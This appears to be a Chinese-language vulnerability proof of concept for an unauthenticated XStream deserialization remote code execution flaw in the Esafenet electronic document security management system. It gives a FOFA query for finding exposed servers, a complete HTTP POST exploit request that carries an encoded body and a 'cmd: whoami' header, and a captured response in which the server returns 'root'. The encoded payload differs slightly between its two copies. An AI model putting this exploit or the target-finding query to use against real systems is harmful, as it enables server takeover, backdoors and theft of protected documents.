Y5-20亿赛通-电子文档安全管理系统-反序列化RCE

漏洞描述:

某赛通电子文档安全管理系统 多处接口处存XStream反序列化远程代码执行漏洞,未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web 服务器。

网站图片:



网络测绘:

fofa语法:

body="CDGServer3" || title="电子文档安全管理系统" || cert="esafenet" || body="/help/getEditionInfo.jsp"

漏洞复现:

payload:

POST /CDGServer3/MailApp?command=GETSYSTEMINFO HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: text/xml
cmd: whoami

 $\verb|NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIC$

```
效果图:
                                                                    〈 〉 数据包扫描 热加载 构造请求 💥
Request
                                                                                                                 Responses https 5bytes / 78ms
      POST /CDGServer3/MailApp?command=GETSYSTEMINFO-HTTP/1.1
                                                                                                                        HTTP/1.1-200
                                                                                                                         Set-Cookie: JSESSIONID=D4B950F70939557FCD04
       User-Agent: Mozilla/5.0 (Windows NT-6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.
                                                                                                                        HttpOnly
       2225.0 Safari/537.36
                                                                                                                        Date: Wed, 31 Jan 2024 15:48:56 GMT
       Accept-Encoding: gzip, deflate, br
                                                                                                                        Connection: close
       Connection: close
       Content-Type: text/xml
       cmd: whoami
                                                                                                                        root
       NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMN
       EIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIODEGNCPIGDFMGMDPOMMEDIJNFKDCHHBF
       {\tt MFGBDOIOAHLOHNAMDBJABECIJOEHKAPJCBDIDJHKAMAGEELEHJEEIDBDILILANAKCIIGLMDIDDMOPNCNGLPPOMMIGCEFEBIMDHFA}
       GLHTDHPJCHAEHFPHNHJGJKJDCTNLAHOAPCDJNTARODKBFABJMFIEMLLPGGKNNNFCAOBHCOEOHCBFOFGBBPLKPHLLNOCJAKJDJPOE
       PBEKKPHOPBHFLJLNOGLABIJHIBOFFCPCLPAGLCEAONCAGIJFAEFOLKOLENHNFBOJIAOFJKBFMGNKBEECKKJPCECMFKPPPKEGOIOB
       HIBIBAGBIKAMOFLEKDKODMHGJOCEPEBNIHPFKEKKMCENNPHEODFNIOPMHFPPNFFIJEEJPPIMGPKHDOACKEEJACLCOKIPFHHECFDF
       JNMIFNGHLCOFLPDACOOALCNKBOEBPNPCKCKNJJJJANLFPKGLOINAIODAJNHAEDLBNONDJHPFELIJMNLMHEMBFGOHELCDBFHIFALD
       IIMBFEOHNHBOIOMLCJKCPHJPNDLPHDDCFJNMGKDMEINHIDLEGMOCNAFDAHOMPPIFFBPFCHAPPIDAIAILKODLCALBBJNPCGLPKIEO
       LEOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMBJDGIDJMMGEOEGJNJDNNEKFDMEAHMILDKIFB
       GKGEJCMGOFEKGJEMNAFLDGEEOBKOHADBAMHBMDJOGIFPMDKIILIGAEELNEOAKNEFHDOGHOPBDICEALJIENFKHFCEHMPBJLCFPDHD
       GBBFIMKHLLFIHONFDJAIEJJLPPFMAEHBHDEBOIDLCMCIKAFBEBFEBGJEECDEINCPNPKIENONIMPBJCCMCHOAJHHDKDKEGJGDGJDJ
       IDEHNNLNNHEONJEJHNLHLPMBBEJDLLJLLNPKIMGHLOFMMKBDEBHNFLPGEOKMHOFNBLLAALGMKNJONNGIOJLBFECJNLKHMBCKELDP
       BDMBFEHAKBHEMNDFBBEDCAMMHNNGMDGLNJHJDAGPILNGBEDCDJBCJOAMOBIFLOFCFIJKDELPPFLFBOHHNIBEGOOFEFGAENOKBMPC
       BDELFJPAHICDPGANJALHFENMFHAJLNECAEGOGCBOIDLJENHCEDMAOEEOFKLDEBJEJOBCFLPEIEAGPOILBEGOKPOAAPGMICFMFLJN
       {\tt DMBGAJJPKNLIBOAABJLNADADNALIKHDJMDKGOPELEHGPDGNJHAAJKICHBFGMHCLEPFHCCKNFKPEOMHPLMOHBGDHCOGEIGPMIGLAH}
       KBCEDHFGLDIKIIIMEPHMIMCIGJJDCKIEODLKCKOLAKBFHIBHOPNAMPEIKHCMDPNMLACKHOGJAEMBJPFEBOCPBGGAFGGNCOBEAIPA
       NPLIBGDCCNMDNDNOIPOECCPELCEDPGCNJHEIOIFPJDKIFNJGHAHLHFNPICIJLHELMODMJIEGMMBNMMFBEJCDDDFOPAJOMBNKBDBG
       KKMLKCBBPF00JCKFFIMLCODLOFN0IEHENLJNOFDAMKFLHIADBNGANHIANHOCHLILNJLOCOHFHMNFHALJHOPGKLOPHLMELJFBIABE
```